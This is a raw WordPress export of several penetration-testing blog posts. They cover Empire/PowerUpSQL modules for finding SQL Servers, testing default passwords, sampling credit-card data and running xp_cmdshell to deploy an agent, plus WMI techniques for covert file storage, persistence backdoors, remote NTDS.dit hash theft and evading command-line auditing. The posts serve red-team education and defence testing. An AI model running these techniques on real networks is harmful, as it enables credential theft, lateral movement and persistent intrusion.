OutputExtension: None
Authors:
@_nullbind
@0xbadjuju
Description:
Returns basic server and user information from target SQL
Servers.
Comments:
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
ps1
Options:
Name Required Value Description
---- -------- ------- -----------
Username False SQL Server or domain account to
authenticate with.
Instance False SQL Server instance to connection to.
Password False SQL Server or domain account password to
authenticate with.
Agent True NCH9K51L Agent to run module on.
CheckAll False Check all systems retrieved by Get-
SQLInstanceDomain
(Empire: powershell/situational_awareness/network/get_sql_server_info) > set Instance sql-2012.test.local
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: MY3AH7
ComputerName : sql-2012.test.local
Instance : sql-2012
DomainName : test
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion : 2012
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP3
OSArchitecture : X64
OsMachineType : WinNT
OSVersionName : Windows 10 Pro
OsVersionNumber : 6.3
Currentlogin : test\user
IsSysadmin : Yes
ActiveSessions : 0
To query all instances of SQL servers in the Domain, set the CheckAll flag to true. This will run Get-SqlInstanceDomain and pipe the results into Get-SqlServerInfo.
(Empire: powershell/situational_awareness/network/get_sql_server_info) > set CheckAll True
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: 7KDR1S
ComputerName : sql-2012.test.local
Instance : sql-2012
DomainName : test
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion : 2012
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP3
OSArchitecture : X64
OsMachineType : WinNT
OSVersionName : Windows 10 Pro
OsVersionNumber : 6.3
Currentlogin : test\user
IsSysadmin : Yes
ActiveSessions : 0
ComputerName : sqlexpress.test.local
Instance : sqlexpress\SQLEXPRESS
DomainName : test
ServiceName : MSSQL$SQLEXPRESS
ServiceAccount : NT Service\MSSQL$SQLEXPRESS
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 12.0.5540.0
SQLServerMajorVersion : 2014
SQLServerEdition : Express Edition (64-bit)
SQLServerServicePack : SP2
OSArchitecture : X64
OsMachineType :
OSVersionName :
OsVersionNumber : 6.3
Currentlogin : test\user
IsSysadmin : No
ActiveSessions : 0
...
Get-SqlServerDefaultLoginPW
The module Get-SqlServerDefaultLoginPW will scan the Domain for default SQL server logins. As with the other modules, this one also supports the CheckAll flag to run across the Domain.
(Empire: powershell/recon/get_sql_server_login_default_pw) > usemodule powershell/recon/get_sql_server_login_default_pw
(Empire: powershell/recon/get_sql_server_login_default_pw) > options
Name: Get-SQLServerLoginDefaultPw
Module: powershell/recon/get_sql_server_login_default_pw
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@_nullbind
@0xbadjuju
Description:
Based on the instance name, test if SQL Server is configured
with default passwords.
Comments:
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
ps1 https://github.com/pwnwiki/pwnwiki.github.io/blob/master
/tech/db/mssql.md
Options:
Name Required Value Description
---- -------- ------- -----------
Username False SQL Server or domain account to
authenticate with. Only used for
CheckAll
Instance False SQL Server instance to connection to.
Password False SQL Server or domain account password to
authenticate with. Only used for
CheckAll
Agent True NCH9K51L Agent to run module on.
CheckAll False Check all systems retrieved by Get-
SQLInstanceDomain.
(Empire: powershell/recon/get_sql_server_login_default_pw) > set Instance sqlexpress.test.local\SQLEXPRESS
(Empire: powershell/recon/get_sql_server_login_default_pw) > run
(Empire: powershell/recon/get_sql_server_login_default_pw) >
Job started: RMNTG5
sql-2012.test.local\sqlexpress : Confirmed instance match.
sql-2012.test.local\sqlexpress : Confirmed default credentials - admin/ca_admin
Computer : sqlexpress.test.local
Instance : sqlexpress.test.local\SQLEXPRESS
Username : admin
Password : ca_admin
IsSysAdmin : No
Get-SqlQuery
The next module, Get-SqlQuery, will preform a generic SQL query on the specified instance. It is used in the following way:
(Empire: NCH9K51L) > usemodule collection/get_sql_query
(Empire: powershell/collection/get_sql_query) > options
Name: Get-SQLQuery
Module: powershell/collection/get_sql_query
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@_nullbind
@0xbadjuju
Description:
Executes a query on target SQL servers.
Comments:
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
ps1
Options:
Name Required Value Description
---- -------- ------- -----------
Username False SQL Server or domain account to
authenticate with.
Instance False SQL Server instance to connection to.
Password False SQL Server or domain account password to
authenticate with.
Agent True NCH9K51L Agent to run module on.
Query True Query to be executed on the SQL Server.
(Empire: powershell/collection/get_sql_query) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_query) > set Query SELECT @@VERSION
(Empire: powershell/collection/get_sql_query) > run
(Empire: powershell/collection/get_sql_query) >
Job started: PDAHEY
sql-2012.test.local : Connection Success.
Microsoft SQL Server 2012 (SP3-GDR) (KB3194721) - 11.0.6248.0 (X64)
Sep 23 2016 15:49:43
Copyright (c) Microsoft Corporation
Developer Edition (64-bit) on Windows NT 6.3 (Build 14393: )
Get-SqlColumnSampleData
The next module is one of the most powerful modules within PowerUpSQL. Get-SqlColumnSampleData queries databases for columns and then based upon keywords, pulls down column data for analysis. This module has been particularly useful on PCI engagements to search for plain text credit card info. It is generally recommended to just run this module against all instances.
(Empire: NCH9K51L) > usemodule powershell/collection/get_sql_column_sample_data
(Empire: powershell/collection/get_sql_column_sample_data) > options
Name: Get-SQLColumnSampleData
Module: powershell/collection/get_sql_column_sample_data
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@_nullbind
@0xbadjuju
Description:
Returns column information from target SQL Servers. Supports
search by keywords, sampling data, and validating credit
card numbers.
Comments:
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
ps1
Options:
Name Required Value Description
---- -------- ------- -----------
Username False SQL Server or domain account to
authenticate with.
CheckAll False Check all systems retrieved by Get-
SQLInstanceDomain.
NoDefaults False Don't select tables from default
databases.
Agent True NCH9K51L Agent to run module on.
Instance False SQL Server instance to connection to.
Password False SQL Server or domain account password to
authenticate with.
(Empire: powershell/collection/get_sql_column_sample_data) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_column_sample_data) > set NoDefaults True
(Empire: powershell/collection/get_sql_column_sample_data) > run
(Empire: powershell/collection/get_sql_column_sample_data) >
Job started: PR61EX
sql-2012.test.local : START SEARCH DATA BY COLUMN
sql-2012.test.local : - Connection Success.
sql-2012.test.local : - Searching for column names that match criteria...
sql-2012.test.local : - No columns were found that matched the search.
sql-2012.test.local : END SEARCH DATA BY COLUMN
Hopefully your results are better.
Invoke-SqlOsCmd
Now for the party favorite, Invoke-SqlOsCmd. This leverages xp_cmdshell to run commands on the remote system in the context of the SQL Server user.
(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options
Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke_sqloscmd
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@nullbind
@0xbadjuju
Description:
Executes a command or stager on remote hosts using
xp_cmdshell.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener False Listener to use.
CredID False CredID from the store to use.
Command False Custom command to execute on remote
hosts.
Proxy False default Proxy to use for request (default, none,
or other).
UserName False [domain\]username to use to execute
command.
Instance True Host[s] to execute the stager on, comma
separated.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
Password False Password to use to execute command.
Agent True NCH9K51L Agent to run module on.
This module has two methods for running. The first is to simply run a user specified command on the remote system.
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami
nt service\mssqlserver
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
However, this is the Empire, why not just place an agent on the remote system? Well we can natively do that as well.
(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden -Enc [TRUNCATED]
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
SELECT * FROM PowerUpSQL WHERE dark_side > light_side;
In the future, as we add modules to PowerUpSQL, we expect to continue to add them to Empire as well.
[post_title] => Expanding the Empire with SQL
[post_excerpt] => The core of PowerUpSQL is now in Empire. Let's quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => expanding-the-empire-with-sql
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:42
[post_modified_gmt] => 2021-04-13 00:05:42
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7490
[menu_order] => 570
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[8] => WP_Post Object
(
[ID] => 7107
[post_author] => 34
[post_date] => 2017-04-20 07:00:29
[post_date_gmt] => 2017-04-20 07:00:29
[post_content] =>
Covert File Storage
Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.
To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:
PS C:\> Import-Module Invoke-WMIFS.ps1
This module provides the following functions:
Get-WmiLength
New-WmiClass
ConvertTo-Base64
ConvertFrom-Base64
Invoke-InsertFile
Invoke-RetrieveFile
To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.
This new class has three properties: FileStore, FileName, and Index.
We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.
In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.
In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.
Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.
To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.
Then to write the file back to disk, we use the ConvertFrom-Base64 function.
PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose
VERBOSE: Decoding File
VERBOSE: Finished Decoding File
VERBOSE: Writing File to Disk as C:\innocuous.pdf
Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user's certificate as the encryption key, but optionally a key can be explicitly specified.
[post_title] => Getting Started with WMI Weaponization - Part 6
[post_excerpt] => Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-6
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:20
[post_modified_gmt] => 2021-04-13 00:05:20
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7107
[menu_order] => 573
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[9] => WP_Post Object
(
[ID] => 7105
[post_author] => 34
[post_date] => 2017-04-18 07:00:43
[post_date_gmt] => 2017-04-18 07:00:43
[post_content] =>
Establishing Persistence with WMI
Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.
Intrinsic Events
Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.
Extrinsic Events
Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.
Breakdown of Triggering
WMI triggers consist of three parts:
Filter
Consumer
Binding
Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:
Filter
The filter looks for the triggering event.
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = "Backdoor Logon Filter"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}
In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.
Consumer
The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:
In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.
A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.
The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.
In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.
There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.
[post_title] => Getting Started with WMI Weaponization - Part 5
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-5
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:20
[post_modified_gmt] => 2021-04-13 00:05:20
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7105
[menu_order] => 575
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[10] => WP_Post Object
(
[ID] => 7102
[post_author] => 34
[post_date] => 2017-04-13 07:00:59
[post_date_gmt] => 2017-04-13 07:00:59
[post_content] =>
Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class
Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly. Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs. In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges.
Why would I use this technique?
On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool. This helps to decrease the number of indicator related to the attack. Testing with this method can also help to push against blue team’s defense to make sure they can identify slight variations on this common attack.
Let’s See Some Command Examples
Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions.
First, map the c$ of the target domain controller. This isn’t required, but can simplify the process.
PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\10.1.1.1\c$" -PSProvider "FileSystem"
Name Used (GB) Free (GB) Provider Root
---- --------- --------- -------- ----
S FileSystem \\10.1.1.1\c$
PS C:\windows\system32> cd s:
PS S:\> ls
Directory: \\10.1.1.1\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 2/13/2015 8:27 PM PerfLogs
d-r-- 8/26/2016 8:00 PM Program Files
d-r-- 6/13/2016 7:00 PM Program Files (x86)
d-r-- 12/5/2016 2:38 PM Users
d---- 2/5/2017 4:16 PM Windows
Then, create a shadow copy of the C:\ drive on the remote domain controller using the “Win32_ShadowCopy” class. Note that the new shadow copy has a unique “ShadowId”.
Next, convert the “ShadowId” to a string and use it to query the domain controller for more information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the path to our newly created shadow copy.
Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both.
But what if the ntds.dit file isn't stored on the C drive?
Surprise! Sometimes admins put system files in strange places. If you can’t find the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry. Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit.
To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host.
PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck
PS C:\> Start-Service WinRM
WinRM Security Configuration.
This command modifies the TrustedHosts list for the WinRM client. The computers
in the TrustedHosts list might not be authenticated. The client might send
credential information to these computers. Are you sure that you want to modify
this list?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y
Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path.
The powershell native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .net.
Next we are going to copy the ntds.dit and SYSTEM files to the C:\ drive on the domain controller. The SYSTEM file is also downloaded so the boot key can be extracted to decrypt the ntds.dit file.
Note: could also be directly written to a network share the attacker controls.
After you have the ntds.dit you can parse it offline using a variety of tools.
[post_title] => Getting Started with WMI Weaponization - Part 4
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-4
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:20
[post_modified_gmt] => 2021-04-13 00:05:20
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7102
[menu_order] => 576
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[11] => WP_Post Object
(
[ID] => 7098
[post_author] => 34
[post_date] => 2017-04-11 07:00:25
[post_date_gmt] => 2017-04-11 07:00:25
[post_content] =>
Administrative Tasks with WMI
Substantive changes to the configuration of a system can be made with WMI. These are often overlooked as there are other and less obscure methods to accomplish the same goal. That said, the ability to run these commands remotely through a different medium make these classes quite capable.
Service Creation
Let’s examine the Win32_Service class the same way we did in the previous post:
Nice! We have located a create method within the Win32_Service class. Let’s see what parameters it takes:
((Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create).Parameters
Name CimType Qualifiers ReferenceClassName
---- ------- ---------- ------------------
DesktopInteract Boolean {ID, In, MappingStrings}
DisplayName String {ID, In, MappingStrings}
ErrorControl UInt8 {ID, In, MappingStrings}
LoadOrderGroup String {ID, In, MappingStrings}
LoadOrderGroupDependencies StringArray {ID, In, MappingStrings}
Name String {ID, In, MappingStrings}
PathName String {ID, In, MappingStrings}
ServiceDependencies StringArray {ID, In, MappingStrings}
ServiceType UInt8 {BitMap, ID, In, MappingStrings}
StartMode String {ID, In, MappingStrings, ValueMap}
StartName String {ID, In, MappingStrings}
StartPassword String {ID, In, MappingStrings}
Now that we have collected all of the relevant information about creating a service, lets fill in the parameters. Note: The MOF above is position sensitive.
So now we have shown that is possible to remotely create a service on a host without binding to the service controller on the remote host.
File Manipulation
File manipulation is also possible and made MUCH simpler and easier via the CIM classes. In this instance the CIM_DataFile is going to be our friend.
Let’s start off with a simple example:
$File = Get-WmiObject -Query "SELECT * FROM CIM_DataFile WHERE Name = 'C:\\Windows\\System.ini'" -ComputerName 10.1.1.1
We selected all attributes from the CIM_DataFile class for the system.ini file and placed them in the variable $File.
$File
Compressed : False
Encrypted : False
Size :
Hidden : False
Name : c:\windows\system.ini
Readable : True
System : False
Version :
Writeable : True
That’s interesting, we have more information about the attributes of the system.ini file.
Let’s what else is accessible via that variable.
Like the service controller and admin shares before, it is also possible to interact with the registry while avoiding SMB.
Let’s look to see if the accessibility options on the remote system have been hooked.
As we can see, even if port 445 is inaccessible, it is still possible to preform many of the same functions over WMI.
In the next post we will explore how other administrative functions can be leveraged to gain access to files.
[post_title] => Getting Started with WMI Weaponization - Part 3
[post_excerpt] => Substantive changes to the configuration of a system can be made with WMI. These are often overlooked, as there are other and less obscure methods to accomplish the same goal. That said the ability to run these commands remotely through a different medium make these classes quite capable.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-3
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:19
[post_modified_gmt] => 2021-04-13 00:05:19
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7098
[menu_order] => 577
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[12] => WP_Post Object
(
[ID] => 7090
[post_author] => 34
[post_date] => 2017-04-06 07:00:03
[post_date_gmt] => 2017-04-06 07:00:03
[post_content] =>
Exploring WMI Classes, Properties, and Methods
What is a WMI class?
A WMI class, such as Win32_Process is a grouping of like properties and methods. Using SQL as an analogy, a property is like a SQL column and a method is similar to a stored procedure.
Exploring WMI Classes
Using CIM, it is possible to easily explore classes with the Get-CimClass command. For those systems that do not yet have the CIM commandlets, Get-WmiObject -list will also work. These commands make it quite simple to explore what is available in WMI on a given system. Let's start by looking how many WMI classes there are on the system.
Get-CimClass | Measure-Object
Count : 1513
Average :
Sum :
Maximum :
Minimum :
Property :
There are 1,513 WMI classes on this system. Lets try to filter out some to find one's that are useful for our current task at hand by searching for the keyword process.
Looking at the output of this command, we can see that there are several classes and properties.
A closer look at the methods shows that there are six methods in addition to the previously used one. The command also shows the parameters that are used in each method.
This sequence of commands is similar to the ones previously shown highlighting how WMI can be accessed. However, what we can also do is query WMI for the status of the started process and get additional information about it. Instead of using the Invoke-CimMethod command, we will use the Get-CimInstance command to access the WMI properties.
Alternatively, this property query could be restructured to be done in a more SQL like syntax.
$CommandLine = Get-CimInstance -Query "SELECT CommandLine FROM Win32_Process WHERE ProcessId = '$($Result.ProcessId)'"
$CommandLine.CommandLine
PowerShell.exe -Command Start-Sleep -Seconds 180
If WMI is a Web Service how can it be used remotely?
PowerShell, WMIC, and VBScript all have native ability to remotely execute queries and methods. Each approaches it in a different way. One important note is that in general remotely invoking WMI requires admin privileges on the remote system.
VBScript (1996)
With VBscript a connection string has to be built, where the remote system is specified. In this instance we specify an alternative set of credentials with the runas.exe command.
C:\> runas.exe /netonly /user:corp\user cmd.exe
Enter the password for corp\user:
C:\> type wmi.vbs
strComputer = "10.1.1.1"
strProcess = "cmd.exe /c echo 'netspi' > C:\text.txt"
Set objWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!"_
& "\\" & strComputer & "\root\cimv2:Win32_Process")
Error = objWMI.Create(strProcess, null, null, intProcessID)
Wscript.Echo "Process Id = " & intProcessID
Wscript.Echo "ReturnValue = " & Error
C:> cscript.exe wmi.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
Process Id = 14040
ReturnValue = 0
wmic.exe (2001)
With wmic.exe a remote system can be targeted by specifying the /node: parameter. Optionally a separate set of credentials can be specified on the command line, if the user doesn’t want to use the current set of credentials. Optionally, runas can replace the command line usage of /user and /password.
Beginning with PowerShell Version 1, the Get-WmiObject, Invoke-WmiMethod, and similar commands allowed for a credential object to be built and passed to commandlets as an alternative method of authentication. There are multiple ways to build a credential object, and the method below is one of the possible methods. To specify a remote system, the -ComputerName can be passed to the commandlet.
In PowerShell Version 3, with the introduction of CIM commandlets, the execution of remote WMI we simplified further. CIM introduced the concept of CIM Sessions, which act similarly to PsSessions. These are persistent, and can be used across several WMI queries. Below, we build a credential object as we did before, but it is then used to establish a CIM Session, across which our queries are run.
If WMI is also like SQL what else can be done with it?
Those familiar with SQL might be wondering if WQL has similar core functionality. SELECT queries are largely treated the same in SQL and WQL, and JOIN’s are as well. In WQL they are not referred to as a JOIN, but instead as an ASSOCIATOR.
Let’s look at an example of this. WQL has the native functionality to query users and groups, but to get group membership we have to associate the users to the group. We will start off by querying WMI for the members of the local group Administrators.
$local = Get-WmiObject -Class Win32_Group -Filter "Name='Administrators'"
# or Get-WmiObject -Query "SELECT * FROM Win32_Group WHERE Name='Administrators'"
$local
Caption Domain Name SID
------- ------ ---- ---
TestSystem\Administrators TestSystem Administrators S-1-5-32-544
We can then take the result of that query and apply an associaters/join query to find who is a member of this group.
That’s cool, but not particularly user friendly. Fortunately, as with most of WMI, commands were simplified with the CIM commands. The same query could be restructured as:
The same process can be repeated against the domains:
$Domain = Get-WmiObject -Class Win32_Group -Filter "Domain = 'NETSPI' AND Name = 'Domain Admins'"
# or Get-WmiObject -Query "SELECT * FROM Win32_Group WHERE Domain = 'NETSPI' AND Name = 'Domain Admins'"
Get-WmiObject -Query "ASSOCIATORS OF {$($local.__RELPATH)} WHERE AssocClass=Win32_GroupUser"
Get-CimInstance -ClassName Win32_Group -Filter "Domain = 'NETSPI' AND Name='Domain Admins'" | Get-CimAssociatedInstance -Association Win32_GroupUser
Why might you want to use this approach? The net.exe command works well enough. Isn’t it more complicated to get the same information?
Using methods like these, it is possible to completely bypass command line auditing. If run from a remote system, the commands wont register on the targets command line. This can potentially bypass detective solutions that trigger on command line events. We are able to bypass those triggers because we are directly querying directory services. It is also possible to perform more advanced queries. For instance, finding users to target who have overlapping group membership.
WMI Namespaces
In SQL Server different databases can exist on the same system or instance. The analogous item in WMI to a database is a Namespace. Thus far all of the queries have been in the default ROOT/CIMV2 namespace, however, others exist. One such location is the SecurityCenter (XP and Prior) and SecurityCenter2 (Vista+). Using the security center namespace, it is possible to remotely query what security products are registered on the system. The three main categories are as follows:
Here it we can see that Windows Defender is installed on the system.
There are other areas in which can be explored. Most roles that I have seen installed on servers install a WMI namespace. Active Directory is no different. On a recent Red Team engagement, we were looking for target systems without triggering an alert by initiating an AXFR. The solution? A WMI query for the A and PTR records stored on the system.
Some WMI classes have properties that can be set without invoking a method. Looking into the AntiVirusProduct further, we can see that there is a product state property.
$av.GetProductState.ToString("X6")
041000
Converting the Product state to Hex we see that it is set to 060110. Some research will reveal that this indicates that the product is both running a up to day. However, we can remotely change the reported product state to disabled. Your mileage will vary with this one.
So now we have a class, but there is no data in it. Data in WMI is stored as instances of the class, to place data in it we must start creating instances of it. To this we use the Set-WmiInstance method in PowerShell.
In the next post, we are going to look at how several common administrative tasks normal performed over SMB can be accomplished via WMI.
[post_title] => Getting Started with WMI Weaponization - Part 2
[post_excerpt] => A WMI class, such as Win32_Process is a grouping of like properties and methods. Using SQL as an analogy, a property is like a SQL column and a method is similar to a stored procedure.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-2
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:19
[post_modified_gmt] => 2021-04-13 00:05:19
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7090
[menu_order] => 578
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[13] => WP_Post Object
(
[ID] => 7076
[post_author] => 34
[post_date] => 2017-04-04 07:00:47
[post_date_gmt] => 2017-04-04 07:00:47
[post_content] =>
A Brief History of WMI
What is WMI?
Windows Management Instrumentation (WMI) is a Microsoft management protocol derived from the Web-Based Enterprise Management (WBEM) protocol. WMI is a web service that can perform management operations on the host operating system. It has also been a part of Windows since Windows 95 where it was available as an optional feature. Since Windows 98, WMI has been included by default. WMI primarily operates through Windows Management Instrumentation Query Language (WQL), which is a SQL like language that is used to access WMI. WMI being a web service, it can be accessed remotely on any system running the winmgmt service.
How can WMI be accessed?
VBScript (1996)
Originally, the only way to easily access WMI was via VBScript or similar Microsoft scripting. Below is a simple VBScript that uses the Win32_Process class to create a text file that contains the string netspi.
C:> type wmi.vbs
strProcess = "cmd.exe /c echo 'netspi' > C:text.txt"
Set objWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!"_
& ".rootcimv2:Win32_Process")
Error = objWMI.Create(strProcess, null, null, intProcessID)
